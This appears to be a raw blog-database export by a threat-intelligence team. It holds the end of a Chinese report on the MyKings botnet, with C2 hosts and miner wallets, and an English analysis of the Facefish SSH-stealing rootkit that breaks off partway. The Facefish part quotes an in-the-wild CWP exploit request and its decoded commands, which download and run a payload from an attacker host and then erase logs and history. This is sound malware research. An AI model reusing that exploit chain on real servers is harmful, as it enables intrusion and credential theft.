的资源池。"]]],[10,10],[1,"h4",[[0,[0],1,"botnet.0 的扫描和渗透能力"]]],[1,"p",[[0,[],0,"botnet.0 的扫描行为是由于其 msinfo.exe 进程发起的。该进程会拉取云端的 wpd.dat 配置文件，配合云端机制发起扫描，并且随着版本更迭不断改进自身扫描能力。"]]],[3,"ul",[[[0,[],0,"扫描的端口和服务如下：1433 MSSQL3306 MySQL135 WMI22 SSH445 IPC23 Telnet, mirai 僵尸网络80 Web, CCTV设备3389 RDP, Windows远程桌面"]],[[0,[],0,"扫描目标IP地址：生成机制越来越复杂早期版本中， msinfo.exe 用来扫描的目标 IP 只有两种：从云端配置文件 "],[0,[0],1,"wpd.dat"],[0,[],0," 获取、在本地根据外网出口 IP 随机生成；最新样本中，增加了一种更复杂的本地随机生成算法，并且会避开一批保留地址段。"]],[[0,[],0,"扫描方式：不断演化，直至集成 Masscan早期版本中，支持 "],[0,[0],1,"TCP Connect"],[0,[],0," 和 "],[0,[0],1,"TCP SYN"],[0,[],0," 两种扫描方式，分别对应木马中实现的两个扫描模块；早期版本的 msinfo.exe 中，两种扫描方式都是自己编写的，其中 "],[0,[0],1,"TCP Connect"],[0,[],0," 模块用到了The Ultimate TCP/IP 函数库中的 CUT_WSClient 类，而 "],[0,[0],1,"TCP SYN"],[0,[],0," 扫描模块则用到了 RAW Socket 相关的 DLL 文件并自己手动构造数据包；最新样本中，在 "],[0,[0],1,"TCP SYN"],[0,[],0," 模块集成了知名全网端口扫描器 "],[0,[0],1,"Masscan"],[0,[],0," ，并且把目标 IP 配置成 "],[0,[1],1,"0.0.0.0/0"],[0,[],0," ，发起对全网的高速扫描。"]],[[0,[],0,"扫描载荷弱口令字典比较丰富，近百条是针对 Telnet 和 MSSQL Server；获得服务权限后，进行进一步攻击入侵的 Palyload 也很强大，其中针对 MSSQL Server 进行注入利用的 SQL 语句格式化后有近千行。"]]]],[1,"h4",[[0,[0],1,"botnet.0 提供的后继僵尸网络接入界面"]]],[1,"p",[[0,[],0,"botnet.0 向后继僵尸网络提供的接入界面简明清晰，以至于从后继其他僵尸网络的角度来看，只需要按照接入界面要求配置安装包下载地址，以及安装包被下载后需要执行的脚本，安装包就会被下载执行。至于扫描和投入阶段的各种技术细节，可以交由 botnet.0 处理，自己完全不用关注。"]]],[1,"p",[[0,[],0,"上述接入界面包括："]]],[3,"ul",[[[0,[],0,"灵活的云端配置文件：botnet.0.spreader 的核心木马 msinfo.exe 用到的云端配置文件 "],[0,[0],1,"wpd.dat"],[0,[],0," ，是一个加密的 XML 文档，其中指定了暴破 Telnet 成功后用到来下载 Mirai 样本的 C2 地址、需要扫描的网络服务端口、暴破各个端口所需的口令、入侵各个网络服务时执行的部分命令以及需要扫描的目标 IP 范围等配置。这些配置都可以根据后继僵尸网络的要求灵活更改。"]],[[0,[],0,"模块化编程架构的 msinfo.exe : 主要是其 Crack 模块中通过继承一个基类 "],[0,[1],1,"Task_Crack"],[0,[],0," ，实现其中定义好的一组连接、暴破、执行命令等功能的函数接口即可定义一个 "],[0,[1],1,"Task_Crack_XXX"],[0,[],0," 子类，继而实现针对一个新的网络服务的攻击模块。Crack 模块与 "],[0,[0],1,"wpd.dat"],[0,[],0," 配置文件中定义的待扫描网络服务端口相对应，可以灵活更改针对不同网络服务的 Crack 功能。"]],[[0,[],0,"其他辅助云端配置文件：msinfo.exe 与 botnet.0.spreader 用到的另外一个辅助木马 "],[0,[0],1,"ups.exe"],[0,[],0," ，会涉及其它云端配置文件，如 update.txt、ver.txt、my1.html、test.html、kill.html、clr.txt 等。这些也都可以灵活配置，方便攻击者控制在下一阶段需要下载什么样本、执行什么样的命令。"]]]],[1,"h3",[[0,[0],1,"被推广的其他子僵尸网络"]]],[1,"p",[[0,[],0,"botnet.0 推广的其他僵尸网络包括："]]],[3,"ul",[[[0,[],0,"botnet.-1.mirai"]],[[0,[],0,"botnet.1.proxy"]],[[0,[],0,"botnet.2.rat"]],[[0,[],0,"botnet.3.miner"]],[[0,[],0,"botnet.4.rat"]]]],[1,"p",[[0,[],0,"我们使用序号来标记首次发现的顺序、后缀标识给子僵尸网络的用途。"]]],[1,"h4",[[0,[0],1,"botnet.-1.mirai"]]],[1,"p",[[0,[],0,"cnc.f321y.com (123.51.208.155:23) 是一个 mirai 僵尸网络，它与 MyKings 的同源关系在卡巴斯基的早期文章中已经论证。"]]],[1,"p",[[0,[],0,"我们追溯到该C2发出的第一条攻击指令，是在2016-12-20发出的。"]]],[10,11],[3,"ul",[[[0,[],0,"2016-12-20 20:36 123.51.208.155:23|http_flood|118.193.139.184:54321"]]]],[1,"p",[[0,[],0,"值得一提的是指令中受害者IP地址118.193.139.184 上，曾经有若干 C2 域名同属 MyKings 控制："]]],[3,"ul",[[[0,[],0,"2016-04-01 15:55:56 2016-12-27 19:14:42 pc.kill1234.com 118.193.139.184"]],[[0,[],0,"2016-04-24 13:07:50 2016-12-27 19:02:22 xq.kill1234.com 118.193.139.184"]]]],[1,"h4",[[0,[0],1,"botnet.1.proxy"]]],[1,"p",[[0,[],0,"botnet.1.proxy 是一个代理网络。这个网络不是由botnet.0.spreader直接创建，而是通过 botnet.-1.mirai 间接建立的。我们观察到以上建立过程发生在 2017.05.05-2017.05.17 之间"]]],[1,"p",[[0,[],0,"这个建立关系可以从以下样本之间的关系示意： "]]],[10,12],[3,"ul",[[[0,[],0,"botnet.0.spreader 在投递一组特殊的 mirai 样本，建立botnet.-1.mirai"]],[[0,[],0,"botnet.-1.mirai 除了运行mirai自身的行为，还会下载得到 do.arm 系列样本"]],[[0,[],0,"do.arm 系列样本运行起来以后，会在本机建立socks proxy，并将所生成的随机密码发回给 211.23.167.180:9999"]],[[0,[],0,"至此，以 211.23.167.180:9999 为核心的 botnet.2.proxy 就建立起来了。"]]]],[1,"p",[[0,[],0,"为了确认上述proxy 网络会被利用，我们模拟了一个 bot 向 botnet.2.proxy C2 提供了一个密码。之后，botnet.2.proxy 向我们模拟的 bot 发出测试请求，要求利用 proxy 获取www.baidu.com 网页。"]]],[10,13],[1,"p",[[0,[],0,"图中显示，botnet.2.proxy 执行的动作包括："]]],[3,"ul",[[[0,[],0,"提供了用户名： 固定为admin"]],[[0,[],0,"提供了口令：???????? 。这个口令是我们之前随机生成、并提供给 botnet.2.proxy 的。这里口令做了掩码处理，以减少我们工作IP的暴露风险"]],[[0,[],0,"要求访问 "],[0,[2],1,"http://www.baidu.com"]],[[0,[],0,"在得到了回应的页面后， botnet.2.proxy 沉寂不再与我们控制的bot联系。"]]]],[1,"h4",[[0,[0],1,"botnet.2.rat 一个RAT僵尸网络"]]],[1,"p",[[0,[],0,"botnet.2.rat 在 Cyphort 的文档中已经批露，概要信息如下："]]],[3,"ul",[[[0,[],0,"是由 botnet.0.spreader 直接建立的"]],[[0,[],0,"投递样本 sha256sum: e6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b"]],[[0,[],0,"样本中包含C2 "],[0,[1],1,"pc.5b6b7b.info"]]]],[1,"p",[[0,[],0,"上述情况与我们的观察一致。"]]],[1,"h4",[[0,[0],1,"botnet.3.miner 一个挖矿网络"]]],[1,"p",[[0,[],0,"我们观察到的botbet.3.miner 的特征包括："]]],[3,"ul",[[[0,[],0,"MinerPool：pool.minexmr.com:5555"]],[[0,[],0,"WalletID：47Tscy1QuJn1fxHiBRjWFtgHmvqkW71YZCQL33LeunfH4rsGEHx5UGTPdfXNJtMMATMz8bmaykGVuDFGWP3KyufBSdzxBb2 --> Total Paid: "],[0,[0],1,"2000+ xmr"],[0,[],0,"45bbP2muiJHD8Fd5tZyPAfC2RsajyEcsRVVMZ7Tm5qJjdTMprexz6yQ5DVQ1BbmjkMYm9nMid2QSbiGLvvfau7At5V18FzQ --> Total Paid: "],[0,[0],1,"6000+ xmr"]],[[0,[],0,"MinerPoolPass：x"]]]],[1,"p",[[0,[],0,"在火绒实验室的文档里提及了挖矿僵尸网络，但是未给出特征细节，无法判定是否 botnet.0 仅推广了一个挖矿网络。"]]],[1,"h4",[[0,[0],1,"botnet.4.rat 另一个RAT僵尸网络"]]],[1,"p",[[0,[],0,"botnet.4.rat 没有被其他安全厂商批露过。概要信息如下："]]],[3,"ul",[[[0,[],0,"下载链接："],[0,[3],1,"http://104.37.245.82:8888/nb.dat"]],[[0,[],0,"样本中包含C2 "],[0,[1],1,"nb.ruisgood.ru"]]]],[1,"h3",[[0,[0],1,"近况"]]],[1,"p",[[0,[],0,"2018.1.17 开始，针对 1433 端口的扫描流量有明显的下降趋势，从我们对此 Botnet 的跟踪来看，此前支撑该 Botnet 的主要 C2 之一 "],[0,[0],1,"67.229.144.218"],[0,[],0," 停止服务。随后，2018.1.23 凌晨我们发现一个新的 C2 IP 上线： "],[0,[0],1,"67.229.99.82"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"另外，我们发现该团伙还在陆续更新 Botnet 后面其他的基础设施"]]],[3,"ul",[[[0,[],0,"新的样本下载 FTP 服务器 "],[0,[1],1,"ftp://ftp.ftp0118.info/"],[0,[],0,"，口令 test:1433 ；"]],[[0,[],0,"新的样本&云端配置文件服务器 "],[0,[1],1,"down.down0116.info"],[0,[],0,"；"]],[[0,[],0,"新的新浪博客账号以及 3 篇新的新浪博客 Post。"]]]],[1,"p",[[0,[],0,"在 2018.1.17~2018.1.21 这段时间，针对 1433 端口的扫描流量有一个明显的波谷，我们怀疑这与该团伙的基础设施变动有直接关系："]]],[10,14],[1,"h3",[[0,[0],1,"友商披露情况"]]],[1,"p",[[0,[],0,"已经有多家友商披露了 MyKings 的部分内容，按照我们观察到的报告时间顺序分别是"]]],[3,"ul",[[[0,[],0,"GReAt, Kaspersky, "],[0,[4],1,"New(ish) Mirai Spreader Poses New Risks"],[0,[],0,", 2017.02"]],[[0,[],0,"Cyphort, "],[0,[5],1,"EternalBlue Exploit Actively Used to Deliver Remote Access Trojans"],[0,[],0,", 2017.05"]],[[0,[],0,"东巽科技："],[0,[6],1,"Mirai木马“借道”新浪博客攻击windows服务器"],[0,[],0,", 2017.07"]],[[0,[],0,"火绒实验室："],[0,[7],1,"彻底曝光黑客“隐匿者” 目前作最多的网络攻击团伙"],[0,[],0," 2017.07"]],[[0,[],0,"360安全卫士："],[0,[8],1,"悄然崛起的挖矿机僵尸网络：打服务器挖价值百万门罗币"],[0,[],0," 2017.9"]]]],[1,"h3",[[0,[0],1,"特别致谢"]]],[1,"p",[[0,[],0,"在整个事件处置过程中，我们得到了来自新浪安全团队(sec.sina.com.cn)的帮助，获得了原始访问数据，并联合关闭了该僵尸网络的上联通道，特此感谢。"]]],[1,"h3",[[0,[0],1,"详细技术分析"]]],[1,"p",[[0,[],0,"该 Botnet 相关的主要样本详细分析和具体样本相关的 IoC，可以查看以下两份详细技术分析文档："]]],[3,"ul",[[[0,[9],1,"Mykings-botnet.0 详细分析.pdf"]],[[0,[10],1,"Mykings-botnet.o__ups.rar 详细分析.pdf"]]]],[1,"h3",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"Botnet.0.spreader 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new"]]],[1,"p",[[0,[],0,"botnet.4.rat"],[1,[],0,63],[0,[],0,"hxxp://104.37.245.82:8888/nb.dat"]]]],"ghostVersion":"3.0"} | 60961c8a3819e50007633d68 |
post | null | 2021-05-26T08:59:45.000Z | 63873b9a8b1c1e0007f52fd0 | untitled-2 | 0 | 2021-05-26T09:25:05.000Z | public | draft | null | null | Test MathJax | <hr><!--kg-card-begin: markdown--><p>$$\sum_{i=0}^n i^2 = \frac{(n^2+n)(2n+1)}{6}$$</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><div>
$$
A=\begin{bmatrix}
a & b\\
c & d\\
e & f
\end{bmatrix}
$$
</div><!--kg-card-end: markdown--> | $$\sum_{i=0}^n i^2 = \frac{(n^2+n)(2n+1)}{6}$$
$$
A=\begin{bmatrix}
a & b\\
c & d\\
e & f
\end{bmatrix}
$$
| {"version":"0.3.1","atoms":[],"cards":[["hr",{}],["markdown",{"markdown":"$$\\sum_{i=0}^n i^2 = \\frac{(n^2+n)(2n+1)}{6}$$\n"}],["markdown",{"markdown":"<div> \n $$\n A=\\begin{bmatrix}\n a & b\\\\\n c & d\\\\\n e & f\n \\end{bmatrix}\n $$\n</div>"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[1,"p",[]]],"ghostVersion":"3.0"} | 60ae0e013819e50007633f00 |
post | null | 2021-05-26T13:48:51.000Z | 63873b9a8b1c1e0007f52fd1 | xin-wei-xie-androidjiang-shi-wang-luo-fen-xi-bao-gao | 0 | 2022-05-06T09:46:13.000Z | public | draft | null | null | 潜伏在STB设备中的幽灵：pandora 分析报告 | null | null | {"version":"0.3.1","atoms":[],"cards":[],"markups":[],"sections":[[1,"p",[]]],"ghostVersion":"3.0"} | 60ae51c33819e50007633f0b |
post | null | 2021-05-27T02:56:01.000Z | 63873b9a8b1c1e0007f52fd2 | ssh_stealer_facefish_en | 0 | 2021-05-27T14:00:00.000Z | public | published | null | 2021-05-27T14:00:00.000Z | Analysis report of the Facefish rootkit | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>In Feb 2021, we came across an ELF sample using some CWP’s Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literarily 0 hit for the C2 traffic. So we moved on.</p>
<p>On 4/26/2021, Juniper published a <a href="https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor"><strong>blog</strong></a> about this sample, we noticed that some important technical details were not mentioned in that blog, so we decided to complete and publish our report.</p>
<p>The ELF sample file (38fb322cc6d09a6ab85784ede56bc5a7) is a Dropper, which releases a Rootkit. Juniper did not name it, so we gave it a name <code>Facefish</code>, as the Dropper released different rootkits at different times, and Blowfish encryption algorithm has been used.</p>
<p>Facefish supports pretty flexible configuration, uses Diffie-Hellman exchange keys, Blowfish encrypted network communication, and targets Linux x64 systems.</p>
<h2 id="overview">Overview</h2>
<p>Facefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring3 layer and is loaded using the <code>LD_PRELOAD</code> feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions. Therefore, Facefish can be characterized as a backdoor for Linux platform.</p>
<p>The main functions of Facefish are</p>
<ul>
<li>Upload device information</li>
<li>Stealing user credentials</li>
<li>Bounce Shell</li>
<li>Execute arbitrary commands</li>
</ul>
<p>The basic process is shown in the following diagram.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_brief.png" alt="fish_brief" loading="lazy"></p>
<h1 id="propagationmethod">Propagation method</h1>
<p>The vulnerabilities exploited in the wild are shown below</p>
<pre><code>POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xx.xxx.xxx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
</code></pre>
<p>After decoding the part related to Facefish, the following execution command sequence is obtained, which can be seen that the main function is to download the payload of the first stage of execution, and then clean up the traces.</p>
<pre><code>cd /usr/bin;
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins;
chmod 0777 /usr/bin/sshins;
ls -al /usr/bin/sshins; ./sshins;
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins;
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;
history -c
</code></pre>
<h1 id="reverseanalysis">Reverse Analysis</h1>
<p>In simple terms, Facefish's infection procedure can be divided into 3 stages</p>
<p>Stage 0: Preliminary stage, spread through the vulnerability and implanted Dropper on the device</p>
<p>Stage 1: Release stage, Dropper releases the Rootkit</p>
<p>Stage 2: Operational stage, Rootkit collects and transmits back sensitive information and waits for the execution of the instructions issued by C2</p>
<p>Let’s take a look at Stage 1 and Stage 2.</p>
<h2 id="stage1dropperanalysis">Stage 1: Dropper Analysis</h2>
<p>Dropper's base information is shown below, the main function is to detect the running environment, decrypt the Config and get C2 information, configure Rootkit, and finally release and start Rootkit.</p>
<blockquote>
<p>MD5:38fb322cc6d09a6ab85784ede56bc5a7</p>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped</p>
<p>Packer: UPX</p>
</blockquote>
<p>It is worth mentioning that Dropper uses some <code>tricks</code> to counteract the detection of antivirus at the binary level.</p>
<h2 id="trick1upxwithoverlay">Trick 1:upx with overlay</h2>
<p>As shown in the figure below, the encrypted Config data is used as overlay to fill the end of the sample after upx shelling.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png" width="860px" />
<p>The purpose of this approach is twofold:</p>
<ol>
<li>Counteracting upx decapsulation</li>
<li>The Config data is decoupled from the sample, so that the Config can be updated by the tool without compiling the source code, which is convenient for circulation in the black market.</li>
</ol>
<h2 id="trick2elfwithoutsections">Trick 2:elf without sections</h2>
<p>As shown in the figure below, the section information in the sample is erased after the shell is removed</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_section.png" width="860px" />
<p>The purpose of this approach is also twofold:</p>
<p>Some tools that rely on section information for analysis do not work properly, and erasing sections makes analysis more difficult to a certain extent.</p>
<p>Some antivirus engines rely on the section information to generate the detection area of the feature, erase the section might blindfold some antivirus engines.</p>
<h2 id="droppersmainfeatures">Dropper's main features</h2>
<p>Dropper will output the following information when it runs</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_proc.png" alt="fish_blow" loading="lazy"></p>
<p>Based on this information, we can divide Dropper's functions into the following 4 stages</p>
<ol>
<li>
<p>Detecting the runtime environment</p>
</li>
<li>
<p>Decrypting Config</p>
</li>
<li>
<p>Configure Rootkit</p>
</li>
<li>
<p>Release and start Rootkit</p>
</li>
</ol>
<h3 id="0x1detecttherunningenvironment">0x1:Detect the running environment</h3>
<p>Read the first 16 bytes of <code>/bin/cat</code>, and determine the current system's bit number by checking the value of the 5th byte (EI_CLASS), currently Facefish only supports x64 system. Then it checks if it is running under root privileges and finally tries to read in the Config information from the end of its own file. If any of these steps fails, Facefish will give up the infection and exit directly.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_env.png" width="860px" />
<h3 id="0x2decryptingconfig">0x2:Decrypting Config</h3>
<p>The original Config information is 128 bytes long, encrypted with Blowfish's CBC mode, and stored at the end of the file in the form of overlay. The decryption key&iv of Blowfish is as follows.</p>
<ul>
<li>key:buil</li>
<li>iv:00 00 00 00 00 00 00 00</li>
</ul>
<p>It is worth mentioning that when using Blowfish, its author played a little trick to "disgust" security researchers during the coding process, as shown in the following code snippet.</p>
<p>At first glance, one would think that the key for Blowfish is "build". Note that the third parameter is 4, i.e. the length of the key is 4 bytes, so the real key is "buil".</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_blow.png" alt="fish_blow" loading="lazy"></p>
<p>Take the original Config as an example.</p>
<pre><code>BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
</code></pre>
<p>The decrypted Config is shown below, you can see the c2:port information (176.111.174.26:443).</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_dec.png" width="860px" />
<p>The specific meaning of each field is as follows:</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>4</td>
<td>magic</td>
</tr>
<tr>
<td>0x0c</td>
<td>4</td>
<td>interval</td>
</tr>
<tr>
<td>0x10</td>
<td>4</td>
<td>offset of c2</td>
</tr>
<tr>
<td>0x14</td>
<td>4</td>
<td>port</td>
</tr>
<tr>
<td>0x20(pointed by 0x10)</td>
<td></td>
<td>c2</td>
</tr>
</tbody>
</table>
<p>After the decryption is completed, the following code snippet is used to verify the Config, the verification method is relatively simple, that is, compare the magic value is not <code>0xCAFEBABE</code>, when the verification passed, enter the configuration Rootkit stage.</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_check.png" alt="fish_blow" loading="lazy"></p>
<h3 id="0x3configurerootkit">0x3:Configure Rootkit</h3>
<p>Firstly, the current time is used as the seed to generate 16 bytes randomly as the new Blowfish encryption key, and the Config obtained from the previous stage is re-encrypted with the new key.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newkey.png" width="860px" />
<p>Then use the flag <code>0xCAFEBABEDEADBEEF</code> to locate the specific location of the Rootkit in the Dropper and write the new encryption key and the re-encrypted Config information.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_confroot.png" width="860px" />
<p>The changes to the file are shown below.<br>
Before writing.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_emconf.png" width="860px" />
<p>After writing.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newconf.png" width="860px" />
<p>In this process because the encryption key is randomly generated, the MD5 value of the Rootkit released at different times is different, and we speculate that this design is used to counteract the black and white HASH detection of the antivirus.</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_rodiff.png" alt="fish_blow" loading="lazy"></p>
<p>It is also worth mentioning that Facefish specifically supports the FreeBSD operating system. The implementation is relatively simple, as shown below, that is, by determining whether the EI_OSABI in cat binary is equal to 9, if so, the EI_OSABI value in Rootkit is modified to 9.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_freebsd.png" alt="fish_freebsd" loading="lazy"></p>
<h3 id="0x4releaseandstartrootkit">0x4: Release and start Rootkit</h3>
<p>Write the Rootkit configured in the previous stage to the <code>/lib64/libs.so</code> file, and write the following to <code>/etc/ld.so.preload</code> to realize the Rootkit preload.</p>
<pre><code> /lib64/libs.so
</code></pre>
<p>Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application</p>
<pre><code>/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
</code></pre>
<p>The actual effect is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_mod.png" width="860px" />
<p>At this point Dropper's task is complete and Rootkit starts working.</p>
<h2 id="stage2rootkitanalysis">Stage 2:Rootkit Analysis</h2>
<p>Facefish's Rootkit module libs.so works at the Ring3 layer and is loaded through the LD_PRELOAD feature, its basic information is as follows.</p>
<blockquote>
<p>MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2</p>
<p>ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped</p>
</blockquote>
<p>In IDA you can see that it exports 3 functions, according to the preload mechanism, when rootkit is loaded, they will replace libc's function of the same name and implement hook.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/face_export.png" alt="face_export" loading="lazy"></p>
<p><code>init_proc</code> function, its main function is to hook ssh/sshd process related functions in order to steal login credentials.<br>
The <code>bind</code> function, whose main function is to report device information and wait for the execution of C2 commands.<br>
The <code>start</code> function, whose main function is to calculate keys for the key exchange process in network communication.</p>
<h2 id="analysisoftheinit_procfunction">Analysis of the .init_proc function</h2>
<p>The .init_proc function will first decrypt Config, get C2, PORT and other related information, then determine if the process being injected is SSH/SSHD, if it is, then HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials and sends them to C2.</p>
<h3 id="0x1findingssh">0x1 Finding SSH</h3>
<p>If the current system is FreeBSD, the dlopen function obtains the address of the link_map structure and uses the link_map to iterate through the modules loaded by the current process to find SSH-related modules.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_fmap.png" alt="fish_fmap" loading="lazy"></p>
<p>If the current system is not FreeBSD, the address of the link_map is obtained from item 2 of the <code>.got.plt</code> table.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_nmap.png" alt="fish_nmap" loading="lazy"></p>
<p>After getting the SSH related module, the next step is to determine if the module is ssh/sshd in a relatively simple way, i.e. verifying that the following string is present in the module. By this, it is known that Facefish in fact only attacks the OpenSSH implementation of client/server.</p>
<pre><code>1:usage: ssh
2:OpenSSH_
</code></pre>
<h3 id="0x2hookfunction">0x2 HOOK function</h3>
<p>First, Facefish looks for the address of the function to be hooked</p>
<p>where the ssh function to be hooked is shown as follows.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshproc.png" width="860px" />
<p>The sshd function to be hooked is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshdproc.png" width="860px" />
<p>If it is not found, the function name is prefixed with Fssh_ and looked for again. If it is still not found, the function is located indirectly through the string in the function. Finally, the Hook is implemented by the following code snippet</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_hook.png" alt="face_hook" loading="lazy"></p>
<p>The actual comparison before and after HOOK is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_comp.png" width="860px" />
<h3 id="0x3stealinglogincredentials">0x3 Stealing login credentials</h3>
<p>Facefish steals the login credentials with the help of the function after Hook and reports it to C2.</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_upinfo.png" alt="fish_upinfo" loading="lazy"></p>
<p>The reported data format is <code>%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s</code>, where the first 32 sections are the encrypted key, followed by the account number, remote host, password and other information.</p>
<p>The information reported in practice is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_pass.png" width="860px" />
<h2 id="bindfunctionanalysis">bind function analysis</h2>
<p>Once the user logs in through ssh, it will trigger the bind function and then execute a series of backdoor behavior, as follows.</p>
<p>If the backdoor is initialized normally, it will first fork the backdoor process and enter the instruction loop of C2 connection, and the parent process will call the real bind function through syscall(0x68/0x31).</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x1hostbehavior">0x1: Host behavior</h3>
<p>Determine if the sshd parent process exists, if the parent process exits, the backdoor process also exits.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>If the parent process exists start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>CPU model</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Memory</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Hard disk</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Network device</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>SSH service related</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x2introductiontoc2commands">0x2: Introduction to C2 commands</h3>
<p>Facefish uses a complex communication protocol and encryption algorithm, among which the instructions starting with 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a brief explanation of the C2 functional instructions.</p>
<ul>
<li>Send 0x305</li>
</ul>
<p>Whether to send the registration information 0x305, if not, collect the information and report it.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Send 0x300</li>
</ul>
<p>Function to report stolen credential information</p>
<ul>
<li>Send 0x301</li>
</ul>
<p>Collect uname information, group packets and send 0x301, wait for further instructions</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Receive 0x302</li>
</ul>
<p>Accept command 0x302, reverse shell.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>Receive 0x310</li>
</ul>
<p>Accept command 0x310, execute any system command</p>
